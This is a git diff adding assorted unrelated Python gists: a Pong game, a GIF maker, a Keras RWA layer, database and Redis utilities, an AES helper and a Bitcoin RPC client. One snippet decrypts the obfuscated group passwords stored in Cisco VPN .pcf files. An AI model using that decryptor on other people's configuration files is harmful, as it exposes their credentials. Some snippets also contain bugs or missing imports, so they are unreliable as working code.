+    def draw(self, canvas):
+        pass  # placeholder, call the draw function here
+
+    def simulate(self):
+        for i in range(2):
+            self.pos[i] += self.vel[i]
+
+    def bounce(self, coords):
+        triggered = False
+        new_pos = list(self.pos)
+        for i in range(2):
+            new_pos[i] = self.pos[i] + self.vel[i]
+            conditions = [new_pos[i] - (self.size[i] // 2) < coords[0][i],
+                          new_pos[i] + (self.size[i] // 2) > coords[1][i]]
+            if any(conditions):
+                self.vel[i] *= -1
+                triggered = True
+        return triggered
+
+    def clamp(self, coords):
+        triggered = False
+        new_pos = list(self.pos)
+        for i in range(2):
+            new_pos[i] = self.pos[i] + self.vel[i]
+            conditions = [new_pos[i] - (self.size[i] // 2) < coords[0][i],
+                          new_pos[i] + (self.size[i] // 2) > coords[1][i]]
+            if any(conditions):
+                self.vel[i] *= 0
+                triggered = True
+        return triggered
+
+    def get_speed(self):
+        return math.sqrt(math.pow(self.vel[0], 2) + math.pow(self.vel[1], 2))
+
+
+class Ball(Base):
+    super_init = Base.__init__
+    def __init__(self):
+        self.super_init()
+        self.mass = 0.2
+        self.radius = 12
+        self.size = [self.radius * 2] * 2
+
+    def draw(self, canvas):
+        canvas.draw_circle(self.pos, self.size[0] // 2, 1,
+                           self.color, self.color)
+
+
+class Player(Base):
+    super_init = Base.__init__
+    def __init__(self):
+        self.super_init()
+        self.size = [8, 80]
+        self.score = 0
+        self.controls = {chr(simplegui.KEY_MAP["down"]): [0, 1],
+                         chr(simplegui.KEY_MAP["up"]): [0, -1]}
+
+    def draw(self, canvas):
+        corners = [[-0.5, 0.5], [-0.5, -0.5], [0.5, -0.5], [0.5, 0.5]]
+        for i in range(len(corners)):
+            for j in range(2):
+                corners[i][j] = (corners[i][j] * self.size[j]) + self.pos[j]
+        canvas.draw_polygon(corners, 1, self.color, self.color)
+
+
+# GLOBALS
+# canvas stuff
+WIDTH = 600
+HEIGHT = 400
+BG = simplegui.load_image("http://dl.dropboxusercontent.com/u/1076274/interactive_python/pong/background.jpg")
+# game elements
+ball = Ball()
+player1 = Player()
+player1.pos = [4, HEIGHT // 2]
+player1.controls = {chr(simplegui.KEY_MAP["W"]): [0, -1],
+                    chr(simplegui.KEY_MAP["S"]): [0, 1]}
+player2 = Player()
+player2.pos = [WIDTH - 4, HEIGHT // 2]
+
+
+# HELPERS
+def throw_ball():
+    ball.pos = [WIDTH // 2, HEIGHT // 2]
+    ball.vel = [0, 0]
+
+
+# EVENT HANDLERS
+def new_game():
+    global side
+    side = 1
+    if not random.randint(0, 1):
+        side *= -1
+    player1.score = 0
+    player2.score = 0
+    throw_ball()
+
+
+def draw(canvas):
+    global side
+    # DRAW BACKGROUND
+    canvas.draw_image(BG, (300, 200), (600, 400), (WIDTH // 2, HEIGHT // 2),
+                     (WIDTH, HEIGHT))
+    canvas.draw_line([player1.size[0], 0], [player1.size[0], HEIGHT],
+                     1, "White")
+    canvas.draw_line([WIDTH - player2.size[0], 0],
+                     [WIDTH - player2.size[0], HEIGHT], 1, "White")
+    canvas.draw_line([WIDTH // 2, 0], [WIDTH // 2, HEIGHT], 1, "White")
+    if not ball.get_speed():
+        canvas.draw_text("PRESS SPACEBAR TO RESPAWN", (120, HEIGHT // 3),
+                         24, "white", "sans-serif")
+    # DRAW SCORE
+    args = [40, "White", "sans-serif"]
+    canvas.draw_text(str(player1.score), (60, 50), *args)
+    canvas.draw_text(str(player2.score), (WIDTH - 80, 50), *args)
+
+    # DRAW PADDLES
+    for each in (player1, player2):
+        each.clamp(((0, 0), (0, HEIGHT)))
+        each.simulate()
+        each.draw(canvas)
+
+    # DRAW BALL
+    if ball.bounce(((player1.size[0], 0), (WIDTH - player2.size[0], HEIGHT))):
+        # there's a bounce, who scores?
+        if player1.pos[0] + player1.size[0] >= ball.pos[0] - ball.vel[0] - ball.radius:
+            if not (player1.pos[1] - player1.size[1] // 2 < ball.pos[1] - ball.vel[0] < player1.pos[1] + player1.size[1] // 2):
+                player2.score += 1
+                side = 1
+                throw_ball()
+        elif player2.pos[0] - player2.size[0] <= ball.pos[0] - ball.vel[0] + ball.radius:
+            if not (player2.pos[1] - player2.size[1] // 2 < ball.pos[1] - ball.vel[0] < player2.pos[1] + player2.size[1] // 2):
+                player1.score += 1
+                side = -1
+                throw_ball()
+    # keep playing
+    ball.simulate()
+    ball.draw(canvas)
+    # increase ball speed as the game goes
+    for i in range(2):
+        ball.vel[i] *= 1.001
+
+
+def keydown(key):
+    # move paddles
+    for each in (player1, player2):
+        each.add_force(each.controls.get(chr(key), [0, 0]))
+    # throw the ball
+    if chr(key) == " ":
+        angle = random.random() * 3.142 * 0.333  # [0-60] gradians
+        force = [math.abs(math.cos(angle)) * side, -math.abs(math.sin(angle))]
+        ball.add_force(force)
+
+
+def keyup(key):
+    for each in (player1, player2):
+        if chr(key) in each.controls.keys():
+            each.vel = [0, 0]
+
+
+# create frame
+frame = simplegui.create_frame("Pong", WIDTH, HEIGHT)
+frame.set_draw_handler(draw)
+frame.set_keydown_handler(keydown)
+frame.set_keyup_handler(keyup)
+frame.add_button("Restart", new_game, 100)
+
+# start frame
+frame.start()
+new_game()
diff --git a/hard-gists/559e56401dee3eccfa23/._snippet.py b/hard-gists/559e56401dee3eccfa23/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/559e56401dee3eccfa23/._snippet.py differ
diff --git a/hard-gists/559e56401dee3eccfa23/snippet.py b/hard-gists/559e56401dee3eccfa23/snippet.py
new file mode 100644
index 00000000..f3a973a3
--- /dev/null
+++ b/hard-gists/559e56401dee3eccfa23/snippet.py
@@ -0,0 +1,136 @@
+# From https://github.com/wnyc/PIL/blob/master/Scripts/gifmaker.py
+#
+# The Python Imaging Library
+# $Id$
+#
+# convert sequence format to GIF animation
+#
+# history:
+#       97-01-03 fl     created
+#
+# Copyright (c) Secret Labs AB 1997.  All rights reserved.
+# Copyright (c) Fredrik Lundh 1997.
+#
+# See the README file for information on usage and redistribution.
+#
+
+#
+# For special purposes, you can import this module and call
+# the makedelta or compress functions yourself.  For example,
+# if you have an application that generates a sequence of
+# images, you can convert it to a GIF animation using some-
+# thing like the following code:
+#
+#       import Image
+#       import gifmaker
+#
+#       sequence = []
+#
+#       # generate sequence
+#       for i in range(100):
+#           im = <generate image i>
+#           sequence.append(im)
+#
+#       # write GIF animation
+#       fp = open("out.gif", "wb")
+#       gifmaker.makedelta(fp, sequence)
+#       fp.close()
+#
+# Alternatively, use an iterator to generate the sequence, and
+# write data directly to a socket.  Or something...
+#
+
+from PIL import Image, ImageChops
+import string
+
+from PIL.GifImagePlugin import getheader, getdata
+
+# --------------------------------------------------------------------
+# sequence iterator
+
+class image_sequence:
+    def __init__(self, im):
+        self.im = im
+    def __getitem__(self, ix):
+        try:
+            if ix:
+                self.im.seek(ix)
+            return self.im
+        except EOFError:
+            raise IndexError # end of sequence
+
+# --------------------------------------------------------------------
+# straightforward delta encoding
+
+def makedelta(fp, sequence):
+    """Convert list of image frames to a GIF animation file"""
+
+    frames = 0
+
+    previous = None
+
+    for im in sequence:
+
+        #
+        # FIXME: write graphics control block before each frame
+
+        if not previous:
+
+            # global header
+            for s in getheader(im) + getdata(im):
+                fp.write(s)
+
+        else:
+
+            # delta frame
+            delta = ImageChops.subtract_modulo(im, previous)
+
+            bbox = delta.getbbox()
+
+            if bbox:
+
+                # compress difference
+                for s in getdata(im.crop(bbox), offset = bbox[:2]):
+                    fp.write(s)
+
+            else:
+                # FIXME: what should we do in this case?
+                pass
+
+        previous = im.copy()
+
+        frames = frames + 1
+
+    fp.write(";")
+
+    return frames
+
+# --------------------------------------------------------------------
+# main hack
+
+def compress(infile, outfile):
+
+    # open input image, and force loading of first frame
+    im = Image.open(infile)
+    im.load()
+
+    # open output file
+    fp = open(outfile, "wb")
+
+    seq = image_sequence(im)
+
+    makedelta(fp, seq)
+
+    fp.close()
+
+
+if __name__ == "__main__":
+
+    import sys
+
+    if len(sys.argv) < 3:
+        print "GIFMAKER -- create GIF animations"
+        print "Usage: gifmaker infile outfile"
+        sys.exit(1)
+
+    compress(sys.argv[1], sys.argv[2])
\ No newline at end of file
diff --git a/hard-gists/55b804cf62b8ee0fa23efdb3ea5a4701/._snippet.py b/hard-gists/55b804cf62b8ee0fa23efdb3ea5a4701/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/55b804cf62b8ee0fa23efdb3ea5a4701/._snippet.py differ
diff --git a/hard-gists/55b804cf62b8ee0fa23efdb3ea5a4701/snippet.py b/hard-gists/55b804cf62b8ee0fa23efdb3ea5a4701/snippet.py
new file mode 100644
index 00000000..0d739ce6
--- /dev/null
+++ b/hard-gists/55b804cf62b8ee0fa23efdb3ea5a4701/snippet.py
@@ -0,0 +1,263 @@
+from keras.layers import Recurrent
+import keras.backend as K
+from keras import activations
+from keras import initializers
+from keras import regularizers
+from keras import constraints
+from keras.engine import Layer
+from keras.engine import InputSpec
+
+
+class RWA(Recurrent):
+    """
+    # References 
+     - [Machine Learning on Sequential Data Using a Recurrent Weighted Average](https://arxiv.org/abs/1703.01253)
+    """
+    @interfaces.legacy_recurrent_support
+    def __init__(self, units,
+                 activation='tanh',
+                 recurrent_activation='tanh',
+                 features_initializer='glorot_uniform',
+                 recurrent_initializer='glorot_uniform',
+                 average_initializer = 'glorot_uniform',
+                 initial_attention_initializer = 'zeros',
+                 bias_initializer='zeros',
+                 features_regularizer=None,
+                 recurrent_regularizer=None,
+                 average_regularizer=None,
+                 initial_attention_regularizer = None,
+                 bias_regularizer=None,
+                 features_constraint=None,
+                 recurrent_constraint=None,
+                 average_constraint=None,
+                 initial_attention_constraint = None,
+                 bias_constraint=None,
+#                  dropout=0.,
+#                  recurrent_dropout=0.,
+                 **kwargs):
+        super(RWA, self).__init__(**kwargs)
+        self.units = units
+        self.activation = activations.get(activation)
+        self.recurrent_activation = activations.get(recurrent_activation)
+        self.supports_masking = False
+        self.unroll = False
+        self.return_sequences = False
+        self.go_backwards = False
+        self.features_initializer = initializers.get(features_initializer)
+        self.recurrent_initializer = initializers.get(recurrent_initializer)
+        self.average_initializer = initializers.get(average_initializer)
+        self.initial_attention_initializer = initializers.get(initial_attention_initializer)
+        self.bias_initializer = initializers.get(bias_initializer)
+
+        self.features_regularizer = regularizers.get(features_regularizer)
+        self.recurrent_regularizer = regularizers.get(recurrent_regularizer)
+        self.average_regularizer = regularizers.get(average_regularizer)
+        self.initial_attention_regularizer = regularizers.get(initial_attention_regularizer)
+        self.bias_regularizer = regularizers.get(bias_regularizer)
+
+
+        self.features_constraint = constraints.get(features_constraint)
+        self.recurrent_constraint = constraints.get(recurrent_constraint)
+        self.average_constraint = constraints.get(average_constraint)
+        self.initial_attention_constraint = constraints.get(initial_attention_constraint)
+        self.bias_constraint = constraints.get(bias_constraint)
+
+#         self.dropout = min(1., max(0., dropout))
+#         self.recurrent_dropout = min(1., max(0., recurrent_dropout))
+
+        
+        
+    def call(self, inputs, mask=None, initial_state=None, training=None):
+        # input shape: `(samples, time (padded with zeros), input_dim)`
+        # note that the .build() method of subclasses MUST define
+        # self.input_spec and self.state_spec with complete input shapes.
+        if initial_state is not None:
+            if not isinstance(initial_state, (list, tuple)):
+                initial_states = [initial_state]
+            else:
+                initial_states = list(initial_state)
+        if isinstance(inputs, list):
+            initial_states = inputs[1:]
+            inputs = inputs[0]
+        else:
+            initial_states = self.get_initial_states(inputs)
+
+        if len(initial_states) != len(self.states):
+            raise ValueError('Layer has ' + str(len(self.states)) +
+                             ' states but was passed ' +
+                             str(len(initial_states)) +
+                             ' initial states.')
+        input_shape = K.int_shape(inputs)
+        constants = self.get_constants(inputs, training=None)
+        preprocessed_input = self.preprocess_input(inputs, training=None)
+        h = initial_states[0]
+        h+= self.recurrent_activation(self.initial_attention)
+        initial_states[0]=h
+        last_output, outputs, states = K.rnn(self.step,
+                                             preprocessed_input,
+                                             initial_states,
+                                             go_backwards=self.go_backwards,
+                                             mask=mask,
+                                             constants=constants,
+                                             unroll=self.unroll,
+                                             input_length=input_shape[1])
+        return last_output
+#         if self.stateful:
+#             updates = []
+#             for i in range(len(states)):
+#                 updates.append((self.states[i], states[i]))
+#             self.add_update(updates, inputs)
+
+        # Properly set learning phase
+#         if 0 < self.dropout + self.recurrent_dropout:
+#             last_output._uses_learning_phase = True
+#             outputs._uses_learning_phase = True
+
+#         if self.return_sequences:
+#             return outputs
+#         else:
+#             return last_output
+        
+    def compute_output_shape(self, input_shape):
+        if isinstance(input_shape, list):
+            input_shape = input_shape[0]
+        return (input_shape[0], self.units)
+    
+    def build(self, input_shape):
+        if isinstance(input_shape, list):
+            input_shape = input_shape[0]
+
+        batch_size = None
+        self.input_dim = input_shape[2]
+        self.input_spec = InputSpec(shape=(batch_size, None, self.input_dim))
+        #states: h, d, n, a_max
+        self.state_spec = [InputSpec(shape=(batch_size, self.units)),
+                           InputSpec(shape=(batch_size, self.units)),
+                          InputSpec(shape=(batch_size, self.units)),
+                          InputSpec(shape=(batch_size, self.units))]
+
+        self.states = [None, None, None, None]
+        #W_u and b_u
+        self.features_kernel = self.add_weight((self.input_dim, self.units),
+                                      name='features_kernel',
+                                      initializer=self.features_initializer,
+                                      regularizer=self.features_regularizer,
+                                      constraint=self.features_constraint)
+        self.features_bias = self.add_weight((self.units,),
+                                        name='features_bias',
+                                        initializer=self.bias_initializer,
+                                        regularizer=self.bias_regularizer,
+                                        constraint=self.bias_constraint)
+        
+        #W_g and b_g
+        
+        self.recurrent_kernel = self.add_weight(
+                                        (self.input_dim+self.units, self.units),
+                                        name='recurrent_kernel',
+                                        initializer=self.recurrent_initializer,
+                                        regularizer=self.recurrent_regularizer,
+                                        constraint=self.recurrent_constraint)
+        self.recurrent_bias = self.add_weight((self.units,),
+                                        name='recurrent_bias',
+                                        initializer=self.bias_initializer,
+                                        regularizer=self.bias_regularizer,
+                                        constraint=self.bias_constraint)
+        
+        #W_a
+        self.average_kernel = self.add_weight(
+                                        (self.input_dim+self.units, self.units),
+                                        name='average_kernel',
+                                        initializer=self.average_initializer,
+                                        regularizer=self.average_regularizer,
+                                        constraint=self.average_constraint)
+
+        #s
+        
+        self.initial_attention = self.add_weight((self.units, ),
+                                        name='initial_attention',
+                                        initializer=self.initial_attention_initializer,
+                                        regularizer=self.initial_attention_regularizer,
+                                        constraint=self.initial_attention_constraint)
+
+        self.built = True
+
+    def preprocess_input(self, inputs, training=None):
+        return inputs
+    
+    def get_initial_states(self, inputs):
+        #states: h, d, n, a_max
+        # build an all-zero tensor of shape (samples, output_dim)
+        initial_state = K.zeros_like(inputs)  # (samples, timesteps, input_dim)
+        initial_state = K.sum(initial_state, axis=(1, 2))  # (samples,)
+        initial_state = K.expand_dims(initial_state)  # (samples, 1)
+        initial_state = K.tile(initial_state, [1, self.units])  # (samples, output_dim)
+        initial_states = [initial_state for _ in range(len(self.states)-1)]
+        
+        initial_state = K.zeros_like(inputs)  # (samples, timesteps, input_dim)
+        initial_state = K.sum(initial_state, axis=(1, 2))  # (samples,)
+        initial_state = K.expand_dims(initial_state)  # (samples, 1)
+        initial_state = K.tile(initial_state, [1, self.units])
+        dtype = initial_state.dtype.name
+        min_value = np.asscalar(np.array([1E38]).astype(dtype))
+        initial_state = initial_state - min_value
+        initial_states.append(initial_state)
+        return initial_states
+    
+    def get_constants(self, inputs, training=None):
+        constants = []
+        return constants
+
+    def step(self, inputs, states):
+        h = states[0]
+        d = states[1]
+        n = states[2]
+        a_max = states[3]
+#         dp_mask = states[2]
+#         rec_dp_mask = states[3]
+        inputs_joined = K.concatenate([inputs, h], axis=-1)
+        u = K.dot(inputs,self.features_kernel)
+        u = K.bias_add(u, self.features_bias)
+        
+        g = K.dot(inputs_joined, self.recurrent_kernel)
+        g = K.bias_add(g, self.recurrent_bias)
+        
+        a = K.dot(inputs_joined, self.average_kernel)
+        
+        z = u * self.recurrent_activation(g)
+        
+        a_newmax = K.maximum(a_max, a)
+        exp_diff = K.exp(a_max - a_newmax)
+        exp_scaled = K.exp(a - a_newmax)
+        
+        n = n*exp_diff + z*exp_scaled
+        d = d*exp_diff + exp_scaled
+        h_new = self.activation(n/d)
+        a_max = a_newmax
+        h = h_new
+
+        return h, [h, d, n, a_max]
+
+    def get_config(self):
+        config = {'units': self.units,
+                  'activation': activations.serialize(self.activation),
+                  'recurrent_activation': activations.serialize(self.recurrent_activation),
+                  'features_initializer': initializers.serialize(self.features_initializer),
+                  'recurrent_initializer': initializers.serialize(self.recurrent_initializer),
+                  'average_initializer': initializers.serialize(self.average_initializer),
+                  'initial_attention_initializer':  initializers.serialize(self.initial_attention_initializer),
+                  'bias_initializer': initializers.serialize(self.bias_initializer),
+                  'features_regularizer': regularizers.serialize(self.features_regularizer),
+                  'recurrent_regularizer': regularizers.serialize(self.recurrent_regularizer),
+                    'average_regularizer': regularizers.serialize(self.average_regularizer),
+                    'initial_attention_regularizer': regularizers.serialize(self.initial_attention_regularizer),
+                  'bias_regularizer': regularizers.serialize(self.bias_regularizer),
+                  'features_constraint': constraints.serialize(self.features_constraint),
+                  'recurrent_constraint': constraints.serialize(self.recurrent_constraint),
+                  'average_constraint': constraints.serialize(self.average_constraint),
+                  'initial_attention_constraint': constraints.serialize(self.initial_attention_constraint),
+                  'bias_constraint': constraints.serialize(self.bias_constraint),
+#                   'dropout': self.dropout,
+#                   'recurrent_dropout': self.recurrent_dropout
+                 }
+        base_config = super(RWA, self).get_config()
+        return dict(list(base_config.items()) + list(config.items()))
\ No newline at end of file
diff --git a/hard-gists/5603909/._snippet.py b/hard-gists/5603909/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5603909/._snippet.py differ
diff --git a/hard-gists/5603909/snippet.py b/hard-gists/5603909/snippet.py
new file mode 100644
index 00000000..1baebca8
--- /dev/null
+++ b/hard-gists/5603909/snippet.py
@@ -0,0 +1,34 @@
+"""Example to compute word frequency using simple map/reduce utility from openlibrary.
+
+https://github.com/internetarchive/openlibrary/tree/master/openlibrary/data/mapreduce.py
+"""
+import sys
+import logging
+from openlibrary.data import mapreduce
+
+class WordFrequecy(mapreduce.Task):
+    def map(self, key, value):
+        words = value.split()
+        for w in words:
+            yield w, ""
+
+    def reduce(self, key, values):
+        return key, sum(1 for v in values)
+    
+def read_files(filenames):
+    for filename in filenames:
+		for line in open(filename):
+			yield line
+
+def main():
+	logging.basicConfig(level=logging.INFO, format="%(asctime)s %(message)s")
+
+	lines = read_files(sys.argv[1:])
+	records = enumerate(lines)
+
+	task = WordFrequecy()
+	for w, count in task.process(records):
+		print w, count
+
+if __name__ == "__main__":
+	main()
\ No newline at end of file
diff --git a/hard-gists/5604018/._snippet.py b/hard-gists/5604018/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5604018/._snippet.py differ
diff --git a/hard-gists/5604018/snippet.py b/hard-gists/5604018/snippet.py
new file mode 100644
index 00000000..0b0b3e2c
--- /dev/null
+++ b/hard-gists/5604018/snippet.py
@@ -0,0 +1,154 @@
+#-*-coding: utf-8-*-
+"""
+Simple script to dump documents out of a CouchDB database and straight into
+a Couchbase instance.
+"""
+
+import time
+import sys
+import argparse
+
+from hashlib import sha256
+from base64 import urlsafe_b64encode
+
+try:
+    import simplejson as json
+except ImportError:
+    import json
+
+import requests
+from couchbase import Couchbase
+
+
+def _print_error(message):
+    """
+    Print a message to stderr, with a newline.
+    """
+    sys.stderr.write(str(message) + "\n")
+    sys.stderr.flush()
+
+
+def _encode_key_if_necessary(key):
+    """
+    If a key is >250 bytes long, encode it as a SHA256 hash.
+
+    This is necessary because Couchbase keys can't be > 250 bytes in length,
+    since all the keys and metadata is kept in RAM on the cluster. CouchDB has
+    no such restriction, and IDs may be very long.
+    """
+    if len(key) >= 250:
+        return urlsafe_b64encode(sha256(key).digest())
+    return key
+
+
+def _all_docs_by_page(db_url, page_size=10):
+    """
+    Helper function to request documents from CouchDB in batches ("pages") for
+    efficiency, but present them as a stream.
+    """
+    # Tell CouchDB we only want a page worth of documents at a time, and that
+    # we want the document content as well as the metadata
+    view_arguments = {'limit': page_size, 'include_docs': "true"}
+
+    # Keep track of the last key we've seen
+    last_key = None
+
+    while True:
+        response = requests.get(db_url + "/_all_docs", params=view_arguments)
+
+        # If there's been an error, stop looping
+        if response.status_code != 200:
+            _print_error("Error from DB: " + str(response.content))
+            break
+
+        # Parse the results as JSON. If there's an error, stop looping
+        try:
+            results = json.loads(response.content)
+        except:
+            _print_error("Unable to parse JSON: " + str(response.content))
+            break
+
+        # If there's no more data to read, stop looping
+        if 'rows' not in results or not results['rows']:
+            break
+
+        # Otherwise, keep yielding results
+        for r in results['rows']:
+            last_key = r['key']
+            yield r
+
+        # Update the view arguments with the last key we've seen, so that we
+        # can step forward properly by page. (Of course, we actually need a key
+        # that is just _after_ the last one we've seen, so tack on a high
+        # Unicode character).
+        # Note that CouchDB requires keys to be encoded as JSON
+        last_key = last_key + u'\xff'
+        view_arguments.update(startkey=json.dumps(last_key))
+
+
+if __name__ == '__main__':
+
+    # Set up an ArgumentParser to read the command-line
+    parser = argparse.ArgumentParser(
+        description="Dump documents out of CouchDB to the filesystem")
+
+    parser.add_argument(
+        'db', type=str,
+        help="The CouchDB database URL from which to load data")
+
+    parser.add_argument(
+        "--page-size", type=int, default=1000,
+        help="How many documents to request from CouchDB in each batch.")
+
+    parser.add_argument(
+        "--couchbase-host", default="127.0.0.1",
+        help="The host for the Couchbase server")
+
+    parser.add_argument(
+        "--couchbase-bucket", default="default",
+        help="The destination Couchbase bucket")
+
+    parser.add_argument(
+        "--couchbase-password", default="",
+        help="The password for the destination bucket")
+
+    args = parser.parse_args()
+
+    # Create the Couchbase connection, and bail if it doesn't work
+    cb = Couchbase.connect(host=args.couchbase_host,
+                           bucket=args.couchbase_bucket,
+                           password=args.couchbase_password)
+
+    # Now just loop through and create documents. I like counters, so there's
+    # one to tell me how much has been done. I also like timers, so there's one
+    # of them too.
+    counter = 0
+    start_time = time.time()
+    for doc in _all_docs_by_page(args.db, args.page_size):
+        # Assume we don't want design documents, since they're likely to be
+        # already stored elsewhere (e.g. in version control)
+        if doc['id'].startswith("_design"):
+            continue
+
+        # Clean up the document a bit. Couchbase doesn't care about special
+        # fields like '_id' and '_rev', so remove them
+        if '_id' in doc['doc']:
+            del doc['doc']['_id']
+
+        if '_rev' in doc['doc']:
+            del doc['doc']['_rev']
+
+        # Couchbase has a maximum key length of 250 bytes, while CouchDB has no
+        # such restrictions. If the key is > 250 bytes, we have a potential
+        # problem. 
+        # Hack around it for now by encoding the key to a hash if it's too long.
+        key = _encode_key_if_necessary(doc['id'])
+        cb.set(key, doc['doc'])
+
+        counter += 1
+        sys.stderr.write(str(counter) + '\r')
+        sys.stderr.flush()
+
+    # A little final message
+    sys.stderr.write("Done! {0} documents in {1} seconds!\n".format(
+        counter, time.time() - start_time))
diff --git a/hard-gists/5606474/._snippet.py b/hard-gists/5606474/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5606474/._snippet.py differ
diff --git a/hard-gists/5606474/snippet.py b/hard-gists/5606474/snippet.py
new file mode 100644
index 00000000..365dada4
--- /dev/null
+++ b/hard-gists/5606474/snippet.py
@@ -0,0 +1,103 @@
+import base64
+try:
+    from hashlib import sha1
+except ImportError:
+    from sha1 import new as sha1
+import random
+import struct
+import Crypto.Cipher.DES3 as DES3
+
+def decrypt_password(data):
+    """Given the hexdump of an obfuscated password, this function will return
+       the real password"""
+
+    # Decode incoming string, it's a hexdump of a bytestring
+    data = base64.b16decode(data)
+
+    # Length check
+    if len(data) < 48:
+        raise ValueError("Invalid encoded data, too short")
+
+    # The stored data consists of three parts
+    key = data[:20]
+    sha = data[20:40]
+    password = data[40:]
+
+    # Check whether the sha1 is correct
+    if sha != sha1(password).digest():
+        raise RuntimeError("Invalid encoded data, sha1 mismatch")
+
+    # The IV is the first 8 bytes of the non-mangled key
+    iv = key[:8]
+
+    # Construct the real, obfuscated, key
+    p1 = key[:19] + struct.pack('B',1 + struct.unpack('B', key[19])[0])
+    p2 = key[:19] + struct.pack('B',3 + struct.unpack('B', key[19])[0])
+    key_ = sha1(p1).digest() + sha1(p2).digest()[:4]
+
+    # Encryption is 3DES, CBC
+    decrypted = DES3.new(key_, DES3.MODE_CBC, iv).decrypt(password)
+
+    # Remove padding
+    padlen = struct.unpack('B', decrypted[-1])[0]
+    decrypted = decrypted[:-padlen]
+
+    return decrypted
+
+def encrypt_password(password, key=None):
+    """This function encrypts and obfuscates the given password for use in
+       Cisco VPN .pcf files. The key will be randomly generated if not given"""
+
+    # Pad password for 3DES+CBC
+    padlen = 8 - (len(password) % 8)
+    password += padlen * struct.pack('B', padlen)
+
+    # Create 20-byte random key, if needed
+    if not key:
+        key = sha1(str(random.getrandbits(8*20))).digest()
+    elif not isinstance(key, str) or len(key) != 20:
+        raise ValueError("Invalid key")
+
+    # The IV is the first 8 bytes of the key
+    iv = key[:8]
+
+    # Construct the real, obfuscated, key
+    p1 = key[:19] + struct.pack('B',1 + struct.unpack('B', key[19])[0])
+    p2 = key[:19] + struct.pack('B',3 + struct.unpack('B', key[19])[0])
+    key_ = sha1(p1).digest() + sha1(p2).digest()[:4]
+
+    # Encryprion is 3DES, CBC
+    encrypted = DES3.new(key_, DES3.MODE_CBC, iv).encrypt(password)
+
+    # Hexdump
+    data = key + sha1(encrypted).digest() + encrypted
+    return base64.b16encode(data)
+
+if __name__ == "__main__":
+    import optparse
+    import sys
+    usage = "\n%prog -d <password>\n%prog -e <password> [key]"
+    parser = optparse.OptionParser(usage=usage)
+    parser.add_option('-d', '--decrypt', dest="do_decrypt",
+            action="store_true", default=False, help="Decrypt a password")
+    parser.add_option('-e', '--encrypt', dest="do_encrypt",
+            action="store_true", default=False, help="Encrypt a password")
+
+    options, args = parser.parse_args()
+    if not (options.do_decrypt ^ options.do_encrypt):
+        parser.print_help()
+        sys.exit(1)
+
+    if (options.do_decrypt and len(args) != 1) or \
+       (options.do_encrypt and len(args) not in (1,2)):
+        parser.print_help()
+        sys.exit(1)
+
+    try:
+        if options.do_decrypt:
+            print decrypt_password(args[0])
+        elif options.do_encrypt:
+            print encrypt_password(*args)
+    except Exception, e:
+        print str(e)
+        sys.exit(1)
diff --git a/hard-gists/5608566/._snippet.py b/hard-gists/5608566/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5608566/._snippet.py differ
diff --git a/hard-gists/5608566/snippet.py b/hard-gists/5608566/snippet.py
new file mode 100644
index 00000000..0a6f728c
--- /dev/null
+++ b/hard-gists/5608566/snippet.py
@@ -0,0 +1,9 @@
+import jsonrpc
+from jsonrpc import ServiceProxy
+from os.path import expanduser
+conf = {p[0]: p[1].strip() for p in 
+    (l.split("=", 1) for l in open(expanduser("~/.bitcoin/bitcoin.conf")))
+    if len(p) == 2}
+
+proxy = ServiceProxy("http://%(rpcuser)s:%(rpcpassword)s@127.0.0.1:8332"%conf)
+info = proxy.getinfo()
\ No newline at end of file
diff --git a/hard-gists/5610068/._snippet.py b/hard-gists/5610068/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5610068/._snippet.py differ
diff --git a/hard-gists/5610068/snippet.py b/hard-gists/5610068/snippet.py
new file mode 100644
index 00000000..23f69af0
--- /dev/null
+++ b/hard-gists/5610068/snippet.py
@@ -0,0 +1,40 @@
+from Crypto.Cipher import AES
+from Crypto import Random
+
+BS = 16
+pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 
+unpad = lambda s : s[0:-ord(s[-1])]
+
+class AESCipher:
+    def __init__( self, key ):
+        """
+        Requires hex encoded param as a key
+        """
+        self.key = key.decode("hex")
+
+    def encrypt( self, raw ):
+        """
+        Returns hex encoded encrypted value!
+        """
+        raw = pad(raw)
+        iv = Random.new().read(AES.block_size);
+        cipher = AES.new( self.key, AES.MODE_CBC, iv )
+        return ( iv + cipher.encrypt( raw ) ).encode("hex")
+
+    def decrypt( self, enc ):
+        """
+        Requires hex encoded param to decrypt
+        """
+        enc = enc.decode("hex")
+        iv = enc[:16]
+        enc= enc[16:]
+        cipher = AES.new(self.key, AES.MODE_CBC, iv )
+        return unpad(cipher.decrypt( enc))
+
+if __name__== "__main__":
+    key = "140b41b22a29beb4061bda66b6747e14"
+    ciphertext = "4ca00ff4c898d61e1edbf1800618fb2828a226d160dad07883d04e008a7897ee2e4b7465d5290d0c0e6c6822236e1daafb94ffe0c5da05d9476be028ad7c1d81";
+    key=key[:32]
+    decryptor = AESCipher(key)
+    plaintext = decryptor.decrypt(ciphertext)
+    print "%s" % plaintext
\ No newline at end of file
diff --git a/hard-gists/5612981/._snippet.py b/hard-gists/5612981/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5612981/._snippet.py differ
diff --git a/hard-gists/5612981/snippet.py b/hard-gists/5612981/snippet.py
new file mode 100644
index 00000000..44443648
--- /dev/null
+++ b/hard-gists/5612981/snippet.py
@@ -0,0 +1,145 @@
+import collections
+import json
+import redis
+import threading
+from tornado import gen
+from tornado import ioloop
+from tornado import web
+from tornado.options import define
+from tornado.options import options
+import tornadoredis
+import weakref
+
+
+define("pubsub_channel", default="tyron_pubsub", help="Redis pub/sub channel")
+define("redis_hostname", default="localhost", help="Redis host address")
+define("redis_port", default=6379, help="Redis host port")
+define("redis_db", default=0, help="Redis host db")
+define("webserver_port", default=8080, help="Webserver port")
+
+
+class RedisSub(threading.Thread):
+    """
+    subscribes to a redis pubsub channel and routes
+    messages to subscribers
+
+    messages have this format
+    {'channel': ..., 'data': ...}
+
+    """
+
